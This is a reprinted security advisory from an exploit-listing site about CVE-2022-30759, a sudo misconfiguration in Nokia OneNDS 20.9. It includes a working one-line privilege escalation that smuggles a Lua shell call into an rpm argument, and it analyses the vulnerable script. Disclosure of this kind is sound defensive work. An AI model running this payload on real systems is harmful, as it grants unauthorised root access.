Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation

CVE Category Price Severity
CVE-2022-30759 CWE-264 $10,000 Critical
Author Risk Exploitation Type Date
Unknown High Local 2023-04-21
Our sensors found this exploit at:

Below is a copy:

Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation
             title: Incorrect Permission Assignment
           product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
          severity: High
        CVSS Score: 7.8
       CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
          found on: 04/05/2022
                by: Giacomo Sighinolfi <[email protected]>
               cve: CVE-2022-30759

Some sudo permissions can be exploited by some users to escalate to root 
privileges and execute arbitrary commands on the system.

The affected users are:
Provgw, notifs, dbmrun,   (system users)
They can run as root the following script:
It can be exploited with:
sudo  /opt/cntdb/bin/ force-erase 
"--eval '%{lua:os.execute(\"/bin/sh\")}'"


Detailed analysis:

The script accept as first argument one of the these options: 
and as a second argument an arbitrary rpm package name.

If we analyze the switch case code block (row 175) we can see how the first 
argument influence the execution of the script.
175. case "$1" in

224.   test-erase)
225.         TEST_OPTION="--test"
226.         OPTION="-e"
227.      ;;

238.   force-erase)
239.         TEST_OPTION="--nodeps"
240.         OPTION="-e"
241.      ;;

Using force-erase or test-erase as the first argument, it creates OPTION 
variable with -e as its value. That value allow us to trigger a privilege 
escalation exploiting the rpm command (row 254) with a particular rpm package 
name as second parameter passed to the script.

252. if [ $OPTION == "-e" ]
253. then
254.   rpm $OPTION --noscripts $TEST_OPTION $2


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.